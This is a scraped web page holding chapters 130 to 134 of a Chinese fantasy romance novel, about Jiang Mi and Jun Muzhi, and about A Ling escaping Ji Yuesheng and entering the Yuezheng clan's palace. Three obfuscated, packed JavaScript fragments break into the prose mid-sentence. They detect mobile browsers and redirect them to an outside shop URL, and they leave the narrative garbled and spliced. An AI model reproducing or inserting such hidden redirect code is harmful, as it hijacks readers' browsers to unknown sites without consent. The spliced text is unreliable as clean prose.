RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202871|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人下跪的动作。 廖珮缨看到这幕柔声低叹:“二妹的好我自然是记得的,所以我才会任由二妹嫁出去,便是寻找山河图也是好声询问。二叔这般姿态倒是让我情何以堪。” 廖愈心怀希望:“你是说会放过伯柔?” 廖珮缨:“我没这么说过,至少我对她的命不感兴趣。” 廖愈颤抖着身体想说什么,被孙柏柔强势扶起按在床上,她语气坚定:“爹不用求她,我早已不是离家时的孩子。” 她转身面对廖珮缨,身前蓍草横排,冷眉道:“所以呢,你想如何?” 廖珮缨神色惋惜:“我是想放你走的,不管是顾念旧情还是不想招惹君氏,但刨根问到底真的很不好,二叔装聋作哑这么多年,你应该是像二叔母。” “既然你这么想得到真相,我给你更多真相好了。” 廖珮缨微笑道:“你陪我去乐正氏吧。” 孙柏柔神情冰冷:“你休想!” 廖珮缨含笑道:“看来你还没察觉体内异常。” 孙柏柔身形停顿,下秒神情一变。 她什么时候中蛊的? · 江弥还是晚了一步。 她来廖府拜访时等待许久,随后仆人支吾说廖珮缨外出,再问孙柏柔,回答也是外出。 江弥当即和君慕之闯入孙柏柔的房间,没人,仆人们惊慌失措,还是三姑前来了解事由,带着江弥两人去找廖愈。 半昏迷的廖愈被抢救醒后,也不管江弥的外人身份,将廖珮缨的所言所行全盘托出,即便希望渺茫,他还是期望有人能救回孙柏柔。 三姑摇头:“乐正氏除了欧家,没人知道在哪里。” 她看着廖愈为了妻女从意气风发到病卧在床,心中越发不忍:“二哥,你就当伯柔从没回过廖家。” 低迷绝望的氛围中,忽然响起女孩询问声。 “你们是说,孙柏柔在乐正氏?” 三姑点头:“你是伯柔的朋友吧,乐正氏最好还是不要想了,那地方就算进去,活着出来也是不可能。” 江弥谢了她的好意,想了想还是同廖愈道:“叔叔您要对孙柏柔有信心,我和她一同长大,她是我见过医占双修最厉害的修士,您要等着她出来见您。” 江弥也不知道他能不能听进去,又说了些孙柏柔在启蒙院的事,廖愈从未听孙柏柔提过这些,听得起劲儿,连精神都好了很多。 他今日大喜大悲,加上身体病弱,困倦很快来袭,又不想错过孙柏柔成长的事强撑着。 江弥只得劝道:“启蒙院的事情一时讲不完,后面还有小术院,今日您先养好精神,明日我再继续。” 江弥看着廖愈安然入睡后才和君慕之离开廖府。 她心道廖珮缨真是算无遗策,看到她和君慕之来拜访时廖珮缨应该就已经在计划了,先是故意引发君慕之的病情将他们引走,随后寻找山河图,又忌惮君慕之的力量和报复,选择带着孙柏柔离开廖家,前往乐正氏避难。 君慕之看她若有所思的神情,问:“要去乐正氏。” 江弥点头:“眼下刚好有个机会。” 第一步要解决的是,怎么让阿玲从姬月生身边离开。 131. 131 田间乡野里绿意盎然,有个抱着竹篮的少女从阿玲身边跑过,回头时笑着朝她道:“你夫君在前面摘枇杷,好大个儿的都留给你呢!” 阿玲看着少女欢快地往树林的方向跑去,沉默两秒,还是跟着走过去。 还未进入树林便听到女孩们银铃般的笑声,间或夹杂青年爽朗的声音。 “上面,还要上面,对,这么大肯定甜着呢!” “阿生哥你头顶的那串枇杷给我吧,我拿篮子里的所有和你换。” “羞羞羞,佳佳姐又和阿玲姐姐抢夫君啦!” “闭嘴!你个小家伙知道什么?” 在女孩们的笑闹里,姬月生半倚在枇杷树干上,几个小辫被宝蓝发带扎进马尾,他又爱笑,俊俏明朗的模样让女孩们移不开目光。 姬月生笑着说:“这串不行,其他的你们挑。” 女孩们又闹起来了。 “阿生哥好偏心啊。” “阿玲姐那么冷淡,阿生哥喜欢她哪里?” “我不要最大的那串,我要第二大的!” “就知道吃,累着阿生哥怎么办?” 阿玲穿过树林走过来时看到的就是这幕,六七个女孩围在枇杷树下,仰头看着树上的俊朗男子。 一身布衣打扮的姬月生脸上噙着笑,浅淡眼眸却漫不经心,他就那么垂首看着女孩们为他争风吃醋,像看一场无聊透顶的戏曲。 “阿玲姐你来了。” 有女孩看到阿玲走来,连忙出声提醒其他人。 其中有个红裙女孩满脸不屑:“来了又怎样,阿生哥没成亲,又不是谁的。” 有个年长的拉了下她:“佳佳,小声点。” 佳佳抽出衣袖哼了声。 阿玲对这些置若罔闻,走到女孩外围仰头。 姬月生在她出现的那刻便不再看其他人,眉眼含笑,抬手摘了头顶枇杷一跃而下,轻巧地落在阿玲面前,将那串枇杷送到他面前:“我尝过一颗,很甜,你试试。” 女孩们嫉妒又羡慕的目光射向阿玲,佳佳气得直跺脚,但姬月生连看也不看她们一眼,叫她有气也没处撒。 在这些热情洋溢的女孩中,阿玲显得冷淡而漠然,她接了枇杷,语气平静问:“你要在这里停留多久?” 姬月生看她不吃,从她手里摘走一颗往外走:“今晚有花灯节,你肯定没玩过,这里的烟花大会也算人间不错的景致。” 说着便低头跟枇杷作对。 阿玲走了片刻发现人没跟上来,回头望去,田野间混杂草木香气的风将几缕发丝吹到脸颊,她眨了下,看到姬月生站在原地认真剥枇杷。 这几天姬月生带着阿玲避开欧家的人四处游荡,没有目的地,想到什么做什么。 姬月生不用术,也不让阿玲用术。 他说:“欧家有特殊定位方法,不能用术。” 这是骗人的,阿玲心知这点。 姬月生不用神力意味着和她一样,于她而言百利无一害,也就没有否认。 不用神力的姬月生有些蠢。 他们坐船飘到水乡,看到渔夫同人买鱼煮鱼吃。 姬月生吃鱼被刺卡住喉咙,不用神术就只能僵着脖子听渔夫的话努力咽口水,他不会受伤,但会痛,解决鱼刺后面色阴沉地盯着剩下半条鱼。 阿玲提醒:“你现在是普通人。” 然后当着他的面将那半条鱼吃掉。 姬月生硬生生挤出一个笑:“我知道。” 半条鱼让他怒而弃船,选择散步。 他们脚下是凹凸不平的青石板路,石缝里生出青苔,两旁白墙高大,黑色屋檐翘起。 姬月生在阿玲面前竭力忍住脾气,他是少主,向来只有旁人哄他的,但阿玲无动于衷,他就一个人走得飞快,在前面生闷气。 天边阴云密布,连绵细雨落下来时姬月生下意识要捏诀驱散雨水,阿玲从他身旁走过,他只得捏了捏拳,同她在雨里徒步而行。 细雨如牛毛,一点点浸润衣衫皮肤。 姬月生还是敲开路旁一户房门买了伞,他举着伞快步走到阿玲身旁给她遮雨。 阿玲抬眼看他,姬月生浅眸含笑,水珠在他脸上凝聚滑落,丰神俊貌。 他将伞往阿玲身边倾斜:“别淋到了。” 阿玲点头,然后从他手里拿走纸伞离开,留姬月生一人在原地陷入怀疑。 就在这时,迎面走来的纸伞下少年少女在雨幕慢行,无意间视线相触又忽的移开,纯情而羞涩。 他要的就是这个效果! 再抬首看已经走远的阿玲。 姬月生深吸口气,快步追了上去。 两人在这处清雅水镇停留两日,离开时姬月生忽然闻见成熟的桃子香气,硬要带着阿玲穿街走巷寻找哪家院子的桃树正熟。 找到后他和主人家讨要两颗,那人看姬月生衣着不凡狮子大开口,他丝毫不觉,还得意洋洋地分给阿玲一颗。 阿玲看他求表扬的样子,点点头:“不错。” 姬月生致力于让她看到自己优秀体贴的一面,却又因为经验不足显得笨拙。 就如此刻,他将剥得坑坑洼洼的枇杷递过来,满手汁液黏腻,有些期盼地希望她接过去。 阿玲没有接,当着他的面剥了颗圆润完整的,将剩下的枇杷放他怀里:“你再练练。” 姬月生神情由晴转阴:“任何一个女人得到这颗枇杷都会感恩戴德。” 阿玲语气随意:“嗯,我不是女人。” 姬月生阴沉着脸将枇杷扔地上踩烂:“你别想回到君慕之身边,他只喜欢江弥,不喜欢你,你死了这条心。” 这人白天还在生气,晚上去灯会时就恢复正常。 姬月生一身红衣打扮,银链在腰间轻晃,像只骄傲漂亮的孔雀,走在人群便是最亮眼的存在。 来往路过的男孩女孩们将手中丝绢鲜花往他怀里扔,姬月生一个都不接,烦了拉阿玲当挡箭牌,这下扔姬月生的少了,但有人开始扔花给阿玲。 这幕看得姬月生心头怒起,手指掐动就要将那男子爆头,阿玲回头看他一眼,姬月生又硬生生掐灭,一脚将那人踹翻在地,眼神冰冷:“我的人你也敢觊觎!” 姬月生不用术也能吊打普通人,那男子被他连踢带打无力反抗,吓得围观者连阻止的话也不敢说,还是姬月生看阿玲没入人群才撤手追人。 他拉住阿玲胳膊:“你生气了?” 阿玲挣了下没挣脱,就随他了。 姬月生皱眉:“那些人说我是你夫君没生气,我说你是我的人你就生气了?” 阿玲:“我没生气。” 姬月生:“那你走什么?” 阿玲抬首:“我不走的话,人要被你打死。” 姬月生无所谓:“普通人而已,死就死了。” 阿玲:“我现在也是普通人。” 姬月生:“有什么关系,我是普通人也能保护你。” 两人站在无人的石子路尽头,路的另一头是棵百年姻缘树,精心装扮的男女在树下祈愿投掷,期望和祝福仿佛温度通过空气传了过来。 阿玲忽而抬眼看他:“姬月生,你想让我爱上你?因为我曾经说你不懂爱吗?” 姬月生看着阿玲,浅淡眼眸里的笑意逐渐消失。 “你不知道爱,却想让我爱上你。”阿玲忽然笑了。 姬月生见过很多好看的女子,阿玲不算顶好看的,只是她从来不笑,总是冷冷淡淡的,再就是冰冷无情的,这么突然的笑令他有点猝不及防,像大雪初晴,天地万物都是明亮透彻的。 姬月生怔了下才意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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浅淡眼眸荡漾着兴然,他说:“当然做。” 阿玲点头,指着被人流簇拥的姻缘树道:“你去求姻缘。” 姬月生:“为何?” 阿玲:“因为我想看你求姻缘。” 姬月生在原地停留三秒,还是点头道:“你在这里等我,我很快回来。” “嘭——” 巨大的烟花在头顶炸开,天地间被漂亮的光照亮。 姬月生不知为何,不放心地回头看了眼,阿玲仰头看着一簇簇烟花盛放,爆炸声和欢呼声淹没了一切声音。 包括他有点快跳的心脏。 姬月生长得太好看,川流的人潮里经常出现男生女生拦住他,他臭着脸将姻缘绳抛至最高点后回来。 那里空无一人。 他心中一空,随即神色变冷,抬起的手几次想要施展神术,又压制着没动手。 可能是看到有人拦住他和他说话吃醋了,喜欢人的时候不都这样? 也可能是看到有人提着灯笼想要先去买了,等会儿就回来。 姬月生沉着脸站在原地,紧握的手几次张开。 “废物!” 稚嫩的女声从姬月生大脑传出,他猛地一惊,就听那声音又道:“拥有最好的姬氏血脉,却被人骗感情,说出去笑掉大牙!” 姬月生衣摆无风而动,腰间银链叮铃作响,他冷声质问:“你是谁?” “我是你祖宗!你既已修至九台,就该掌握了关系的力量,连这个都要我教你如何看?!” 姬月生皱眉,在探寻说话人是谁和阿玲是否骗他间,他思索一秒后选择后者。 抬手搭在左腕血线上,视野发生变化,无数丝线从人身上蔓延,又连接到人身上。 人潮在他眼里是一只巨大的蠕动的茧。 而他身上的丝线并没有多出一根。 132. 132 江弥见廖愈神色浮现倦意,便道明日再来。 候在门旁的仆人送他们出去。 江弥问:“百崃有什么好玩的?” “您要说游玩的地方,那必然是云坑和缘崃寺,”仆人说,“云坑在百崃东边,得提前一夜上云峰山,山顶有个巨大的天然陨坑,初阳升起时漆黑的云坑会散发好看的光彩,那是我们这的奇景呢!” 说着他看了看两人自始至终都没分开的手,心中啧舌腻歪,但嘴上道:“两位感情这么好,一定要去缘崃寺,咱们廖家专卜姻缘的分家开的,不少情侣跑百崃就为这份姻缘卦,可灵着呢!” 江弥点头,同君慕之走出廖府。 这几日皆是如此,每天来廖家给廖愈说孙柏柔在启蒙院的事,然后回到半山小院悠闲度日。 她没急着回小院,而是去了家酒楼,点几份菜陪君慕之吃饭。 君慕之端坐着没动,江弥就挨个尝了口。 她从君慕之少得可怜的吃饭习惯中推测他口味清淡,偏甜,但不喜欢提纯后的甜味,最好是自然存在的果糖,喜欢吃酸,但不吃醋,他喜欢柠檬和橙子的酸。 大概总结就是,喜欢自然产品,不爱加工。 江弥提前和后厨沟通过,今日的菜大厨准备了三日,要不是江弥给的钱够,大厨不耐烦接待这么挑剔的食客。 江弥将菜推到君慕之面前,撑着下巴看他。 君慕之僵持不过,只能提起筷子尝了口,他用餐慢斯条理,有种贵族优雅之感,江弥从他自发吃了五口的行为判断,这道菜不错。 见他不再吃,江弥将菜端自己面前,换了盘推过去。 五道菜吃了二十口,可以说是莫大的进步了。 她甚至怀疑君慕之不用吃饭就能活。 两人吃过饭,江弥问他:“去云坑得提前准备,我们去缘崃寺如何?” 君慕之没有异议,但有些诧异。 他印象中的江弥更偏向修行者,勤奋刻苦,抓住一切机会拼命变强,好像头顶悬着一把随时会掉下来的剑,迫切而专注。 江弥想了想说:“我想我们的感情维系长久些,所以得用心经营。” 昨夜花灯节的烟花大会上,阿玲看到漂亮绚烂的烟花时,心中忽然冒出想让君慕之也看一看的念头。 那刻她忽然发觉,除去治病和请教,她和君慕之之间没有太多美好的记忆,从前她总是太赶,赶着修炼,赶着探索,一刻不停的。 昨夜江弥坐在门槛上,歪头倚靠在门边,侧目见屋檐下的君慕之仰头观赏月亮时,忽然觉得她现在可以不用那么急,她不再是一人。 江弥牵着他往西边走:“明天去云坑,你刚才吃的浆果就来自云峰山,明日我们一边采浆果一边爬山,在晨起时看云坑的日出。” 君慕之任她牵着,低垂的眉眼若有所思。 缘崃寺香火旺盛,还未靠近便闻到飘来的香烛气息,一路上来往人群络绎不绝,大都是些妙龄少女在娘亲或者丫鬟老嬷嬷的陪同下前往。 君慕之的长相太过耀眼,半遮的面具也掩不住独特的气质,还未到缘崃寺就遇上不少大胆上前搭讪的女孩。 江弥沉默看他半晌,人太多,不然直接回去。 又一少女前来问路,君慕之低眉看江弥皱眉不语,冷淡拒绝少女后披上斗篷,压低帽檐,牵着她上台阶:“走吧。” 江弥只好放弃回去的打算。 缘崃寺可简单上香祈拜,也可寻修士算上一卦,捐钱得到启示或提点。 两人本身就是修士,只选择简单上香。 她没取香,抬首望向巨大神像。 女身神像眉目慈善,低眉望向在台阶前行的人群。 即便知道这个世界有神,江弥还是更相信事在人为,有些意外的是君慕之的态度。 他拿下绿纹面具,认真取香点燃,站在神像前垂首,缭绕烟雾朦胧了他的眉眼,却掩不住俊美面容。 弑神者在向神许愿,认真而虔诚。 江弥静静注视着他,胸膛涌现出奇怪情绪,不是杀掉欧沽后看到君慕之等她的那种轻松,也不是发现君慕之挑食看到他另一面的意外。 是一种类似感动的感情。 她微微歪头,安静地感受这种平缓而汹涌的情绪。 她想,君慕之好像真的很喜欢她。 君慕之上完香重新带上面具,神色平静地向她伸手。 江弥再次牵起他的手却有不一样的感受,微凉,偏硬,像玉,很好握。 她忽然意识到,她的手正牵着君慕之的手,不是治病时的功能性接触,而是,她在触碰这个人的一部分。 清冷内敛的君慕之,他的手也是清冷的,但会主动牵住她,他的头发顺滑冰凉,随便她圈着玩还是编着玩。 那其他部分呢? 他的手臂,肩膀,胸膛…… 江弥忽然对他产生了探索欲。 她抬手按了下胸口,这种莫名的欲望太奇怪了。 江弥被君慕之牵着走,满心都是此时奇怪而有点难以理解的念头,君慕之停下来时她从自己的思绪出来,就看到君慕之在看不远处的花树。 随即她看到花树下亲吻的情侣。 女子羞涩地埋在男子怀里不愿抬头,男子轻笑着低声耳语,不知说了什么,女孩嗔怒地抬手打他,旁若无人地打情骂俏。 江弥若有所思,君慕之原来还有这种需求。 也是,他们是情侣,又不是合作伙伴,她刚才还在想君慕之的身子呢! 但这里都是人,江弥扫视一圈,那棵花树的另外一边有个假山和亭台组合的景致,偏僻无人。 江弥指着亭台道:“我们去那里。” 君慕之以为她累了,点头应。 但走到亭台却没进去,江弥继续往前,君慕之顺从地随她走到假山后,任由江弥揭开他的面具,两侧兜帽忽然一紧,君慕之看着江弥忽的靠近,惊得眨眼,后仰了点。 江弥两手还拽着兜帽两侧,看君慕之惊吓后退,歪头疑惑:“你不要?” 难道她猜错了? 两人距离很近,江弥也就清晰地看到漆黑眼睫随着话落颤动了下,像煽动翅膀的蝴蝶。 太快了? 君慕之这样慢热而矜持,可能还要适应拥抱才能进一步接受接吻,她应该慢慢来。 江弥这样想着收回手,刚准备转身离开,一只冰凉的手捏住她的后颈,江弥下意识炸毛,抬手时星辰之力差点扔出去,好在扔出去的前一刻被另一只修长手掌贴在脸颊转向,看到低头靠近的君慕之。 两人近在咫尺,江弥看到他眉眼带着笑意,她有理由怀疑刚才她吓到他,所以他要反吓回来。 江弥不喜欢脖子落在别人手里,这让她很没安全感,抬手要将君慕之手拿掉,但后颈忽然传来力道,带着点强势,江弥不受控制地贴近他,两人呼吸交缠。 强势只有一瞬,后颈的力量很快放松。 却让她感受到君慕之的另一面。 不陷入感情的君少主是强大的,自若的。 这位强大自若的君少主轻声询问:“你想要……?” 未尽的话隐晦得不行,江弥听出他的询问,她有片刻疑惑,不是他想亲亲她在配合? 但君慕之十分体贴,没准备让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254640|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩亲自承认这种害羞的事,低下头,垂下来的兜帽遮住她的眼。 吻轻轻印在她唇上。 一触之后分开。 江弥眨了下眼,啊,好纯情。 搭在后颈的手轻轻捏了下,江弥激出一层鸡皮疙瘩,她真的不喜欢有人碰她脖子,想让君慕之将手拿开。 又一个吻轻轻落下。 江弥:“……” 忽然有点生气。 又不能干架。 江弥两只手穿过兜帽按在他脖子上,用力时君慕之没有抵抗,顺势低下来,江弥亲上去,不是君慕之那种纯情的亲,江弥一边在脑海回忆看过的影片一边行动,觉得自己终于掰回一成,还故意在他脖子上捏了很多下,让他也体验下弱点落在别人手里的感觉。 君慕之全程安静而顺从,江弥心里的那点火气也逐渐消下来,她觉得再下去就有点欺负人了,刚准备后退,后颈的手按了下。 江弥:“……” 当你发现男友想要却矜持着不愿开口,还故意激你,你要怎么办? 江弥只能纵容。 她看着君慕之微红的眼角,湿润的眼睫,将按在后颈的手放在自己腰间,贴上去的吻温情而缓慢。 冰凉的头发落在手背上,她伸出手指勾出一缕,一边玩头发一边想,原来不被病情控制的君慕之是这样的。 会渴望,会主动,也会克制地展现强势的一面。 许久后,两人气息不稳。 江弥调息后抬首,君慕之垂眸半靠在假山上,兜帽早被她拉下来,头发凌乱地搭在身后,眼角通红,嘴唇也红红的。 江弥咂咂嘴:“好像是酸甜味。” 君慕之带兜帽和面具的手一顿,低声应了下,抬手帮她整理乱掉的头发。 江弥说:“明天去云峰山多采点浆果吧。” 两人从假山后出来,花树下的情侣早已离开,君慕之见她朝那看,明白刚才她为何那样说,低声解释:“那男子身上的恶念很重。” 江弥:“?” 她不信,觉得这是君慕之害羞的托词,于是下山寻找那男子,顺道抓了个用假身份骗女子贞洁的采花修士。 将人送去钧台后江弥还在怀疑,一抬眼,君慕之眸光潋滟,弯唇浅笑地看她。 江弥心想,是她想要就是她想要吧,她好像也确实是想要的。 · 阿玲离开姬月生后很快被欧家发现。 欧砚寻她几日,此时她突然出现还主动要跟他们走,惊觉有诈,警惕地离她五米之外:“你为什么临时改变主意?” 阿玲:“我刚才姬月生那里逃出来,你们要是继续磨蹭,等姬月生来谁都走不了。” 欧砚神色不明:“姬月生为何抓你?” 阿玲老实说:“我说他不懂爱,他怒了,于是想要让我知道他到底懂不懂爱。” 欧砚:“……” 阿玲:“走不走,不走我继续逃了。” 欧砚颔首:“接玲小姐回家是我的职责。” 欧砚的队伍是分开寻找的,找到阿玲后集结众人,前往乐正氏。 路程比阿玲预想的要长,他们花了五天时间,第六天阿玲进入一间房,眼睛戴上了阻碍视线和感知的软布,中间转移过几次,没多久欧砚说到了。 阿玲解开软布,骤然的亮光让她眯了下眼,下秒,视野里出现的光粒子令她错愕,一瞬间她以为自己被带到了小混沌。 但欧砚等人神情平静,阿玲走出房间,看到外面雄伟古肃的建筑和隐约来往的人便了然。 这些神脉家族还真是大手笔,住的地方遍布清气。 133. 133 “君慕之不是被美色迷惑之人,长恩的事绝对是有意为之,这事不能就此罢休!” “我同意,他在挑衅我们,我们不能无动于衷。” “君氏终于忍不住要对其他家族下手了,为什么还没有告知阴氏和姬氏?” “君慕之弑神的事还没弄清楚,他到底想做什么?” 宽敞的议事厅内争论不休,坐在首位旁边座位的乐正绪看着长辈们愤慨不已,撑着下巴想打哈欠。 长恩的话题隔段时间就要拿出来提一次,次次都说要讨回公道,却没有一人愿意离开族地。 提到君慕之,首位的老人侧目问乐正绪:“那孩子是不是该到了?” 所有目光望了过来。 乐正绪:“这时候欧砚应该在安顿人。” 老人两手交叠放在桌上,目光平和:“听说这孩子天赋不错,她刚回来,又长在外面,心态情绪上肯定会不适应,你作为兄长,平日多照料几分,让她早些熟悉。” 在场人都知道这话的意思。 天赋高意味着神血浓度高,还不知道是哪个遗落在外的孩子,不过没人关注这点。 乐正氏已经很久没有新的神脉子嗣诞生,倒是生出不少孩子,但血脉浓度低的孩子连“字”都无法感应,不被算作乐正氏。 有人笑道:“阿绪是该把目光从劣质血脉身上移开了。” 另一人附和:“长在外面的总归还是太野,不懂规矩。” “我倒觉得廖家那孩子看着不错……”乐正琅刚说出这话,乐正绪漆黑眼珠望来,目光意味不明,“三叔,她是我的人。” 乐正琅像在看一个不懂事孩子:“之前没见过外面的女子任你胡闹也就罢了,现在真正的乐正氏血脉回来,该把你的心思收一收,不过是个劣质血脉,还能让乐正氏断送在她手里不成?” 乐正绪不同他绕弯子,笑问:“三叔想要廖珮缨?” 乐正琅和气道:“三叔也是为你着想。” 乐正绪笑意变冷:“只要我还对她感兴趣,就没人能动她。” 乐正琅正要发怒,坐在首位的老人忽然起身,所有人噤声,但老人只是沉默地离开。 会议结束,参会者议论着走出。 乐正绪抬头看了乐正琅一眼,乐正琅沉着脸看他,周围人陆续起身,有人拉走乐正琅,低声道:“你惹他做什么?” · 欧砚将阿玲带到房间后在门外守着,阿玲坐在桌前思索接下来的计划。 廖珮缨带孙柏柔来乐正氏的地盘肯定有动静,打听的事暂缓,首先要摸清这里的环境。 她并非真正的乐正氏,不能停留过久,容易露马脚。 阿玲本以为她来乐正氏立马就会有人来见她,但她只是被关在房间不让出去。 阿玲再次打开门,守在门口的欧砚拦在她面前:“还请玲小姐待在屋内。” 阿玲抽出雪麟,不管将她留在这里置之不理的目的是什么,她不介意将事情闹大点,冷眸道:“如果我不愿意呢?” 这里不是外面,爆发出打斗很麻烦,对象是刚找回来的小姐那就更麻烦了。 欧砚思忖两秒,挪步退到一边:“玲小姐请。” 阿玲收了雪麟,抬步走出房间:“这么久没人来看我,看来我很不受人待见啊。” 欧砚跟在她身后:“玲小姐想多了。” 阿玲瞥他眼,这人太过谨慎,很难打听出什么。 她将目光放在乐正氏的建筑上,这是一座很大的宫殿群,琉璃瓦在日光下闪耀,看上去辉煌壮观,人走在里面像只蚂蚁,天空高大深远,显得一切很空旷。 很快她发现一个规律。 在这里来往的基本都是如欧砚这般穿水墨袍的,但这些人低眉恭敬,像是穿梭在宫殿里的侍女和仆人。 即便她不怎么了解欧家,但欧家位列十三世家之一,又是乐正氏在外的代言人,在哪里都是地位不凡,欧沽一再拿自己的身份压人就是典型的例子。 但在这里,这些欧家人只是服务的下人。 是清气吗? 她望向在空气中游荡的光粒子,小混沌因为清气被各大势力用作提升修为的历练之地,这里遍布清气,所以欧家人甘愿依附? 欧砚看出她所想,这些她迟早也会知道,解释:“他们是欧家分支派来服侍的,会在金明殿度过一生。” 阿玲:“你也是?” 欧砚:“我是主家派来保护乐正氏的。” 分家的人来这里做奴做仆,主家的人可在清气中提高修为,但也是乐正氏的护卫。 “欧家是乐正氏的奴隶吗?”她问这话纯粹是好奇,也有激欧砚的目的,但他没什么反应,低眉说:“欧家祖先曾是一代乐正家主的书童,因为乐正氏的恩赐,欧家才有如今的地位。” 用后代子嗣对乐正氏的忠诚换取欧家在外的荣耀? 阿玲点点头没发表意见。 两人在复杂的宫殿群中穿行,阿玲在脑海里记下各个宫殿的样子和位置,一拐角,迎面走来锦衣男子。 他正对着身边侍女发脾气,看到突然出现的阿玲被吸引注意力,朝着这边走来,他身后的侍女和仆人紧随。 阿玲回头看了眼,欧砚对着来人低首表示恭敬。 这就是乐正氏了。 那人已经走到她跟前,中年男子,脸上有些肉,笑着望她的目光有些恶心。 “这是新带来的?”说着就要上手摸女孩脸。 阿玲神色一凛,单手按住他手腕上翻,对方脸上的笑僵住,还没反应过来阿玲抬步上前,手肘重击他小臂。 惨烈的痛声在宫殿群中回荡。 “你你你……大胆!来人!”男子原本只是痛,看到女孩后撤后自己的小臂和手掌无力垂下,吓得跌倒在地,就要破口大骂,阿玲面色沉冷地抬脚踩下去。 咔嚓。 腿骨碎了。 凄惨的叫声传开。 隐藏在各处的水墨袍修士现身,将阿玲围起来,身后一直沉默的欧砚先一步道:“她是玲小姐。” 修士们面面相觑,还是没有动手。 她算是看出来了,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260124|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,乐正氏拥有绝对权。 阿玲冷眼看男子痛得冷汗直冒,身后的侍女将他扶起来,他咬着牙颤声道:“你给我过来。” 阿玲没动,欧砚上前,男子用完好的那只手狠狠抽在他脸上,怒骂:“你不早说!” 男子冲欧砚发完脾气掐着侍女的胳膊哎哟哎哟地离去,走前望向阿玲的目光仍旧令人恶心。 阿玲神色莫名:“他就这么走了?” 欧砚:“这里以血脉为尊。” 看来这人是最次等的,连问都不问直接离去,也是,要是能反抗也就不会被她轻易踩断腿折断手。 发生了这种事也没阻止阿玲继续观看地形,太阳快落山时她才回去。 推门看到房间坐着一人时停顿一瞬,阿玲走进去,看到男子正面,是一张年轻的面孔,整个人只有黑白两色,极白的皮肤和极黑的衣袍。 他见阿玲走来,笑着说:“我是你兄长,乐正绪。” 阿玲自己都不知道她跟乐正氏是怎样的亲属关系,这人张口就是兄长,她对这里没好印象,故意道:“姬月生说你可能是我叔,或者我爹。” “从年岁上看我是你兄长。”乐正绪没在这个问题上多说,“今天下午你打人了?” 阿玲低眉看他,这是来兴师问罪的? 乐正绪没有兴师问罪,而是道:“你刚来不懂规矩,这事就此作罢,但你必须记住,戴白面具的人不能攻击。” 阿玲:“攻击了会怎样?” 乐正绪笑了下:“很难办啊。” 他嘴上说着难办,但阿玲看出他对此事的不在意,像在说她掀不起这样的波澜,或者即便攻击白面具也能让她听话。 门忽然被敲响,站在门边的侍女低眉紧张说:“婉儿小姐闹脾气了,她说……想见少主。” 乐正绪起身整了下衣袍,望向阿玲:“听闻你和君慕之姬月生关系不错,本来想听听你亲口说,看来只能留在下次。” 屋内只剩一人时阿玲长长呼出口气,这人给她的压迫感很强,实力应当和姬月生相当,但性格有些难以捉摸。 进来不过半天,阿玲便觉得这地方扑朔迷离。 她想起蒋敏提起乐正氏露出的难评神色和姬月生科普的乐正氏内容,心中的不适更加明显。 这地方不能多待。 阿玲开门问门口的欧砚:“我想尽快熟悉环境,你跟我说说乐正氏都有哪些人?” 这种问题欧砚一半不会拒绝:“乐正氏家主乐正啟,金明殿的一切都是他创立的,你有十一个叔伯……” 阿玲听得很仔细,听他说完叔伯后说两个哥哥乐正绪和乐正潼,忍不住问:“不是说乐正氏终身不离开这里?没有女性?” 欧砚深深看她一眼:“乐正婉儿是你姐姐。” 随后他又补充:“有一个比较特殊,她和你一样是从外面认回来的,但是神血浓度低,无法感应‘字’,因为得乐正少主喜欢,留在少主身边。” 阿玲意有所感:“她叫什么?” 欧砚:“廖珮缨。” 果然。 134. 134 姬月生曾说过乐正氏从外面认回一个女孩,还叫来姬氏确定关系。 显然,这个人是廖珮缨。 但根据廖愈的复述,廖珮缨并不想回乐正氏,若非君慕之和江弥的到来让她忌惮,她会继续留在廖家。 而廖家封闭的几年里,廖珮缨一直在寻找山河图,却又并未做出过激行为。 廖家上下中了蛊毒,也只是廖愈五妹中蛊之初因反抗才导致蛊毒发作而死,其他人都因定时拿到解药安然活到现在。 像是,她在拖延时间。 拖延回乐正氏的时间。 阿玲大致推测出前因后果,廖珮缨被乐正氏找到,随后连同欧家一同控制廖家,又在寻找山河图的任务中拖延时间留在廖家,被她和君慕之打断,所以带着孙柏柔从逃回乐正氏。 同廖珮缨孙柏柔有交集的是江弥,和阿玲没关系。 阿玲以想和廖珮缨交结朋友为由顺利要到她的住址。 欧砚觉得她太能惹事,提醒了句:“廖珮缨在少主住处附近。” 阿玲点头表示知道。 太阳已经下沉,天边霞光逐渐被夜色笼罩,金明殿各处亮起了灯盏,又是另一番壮阔景象。 夜间欧砚不再跟随,也有可能是隐在暗中。 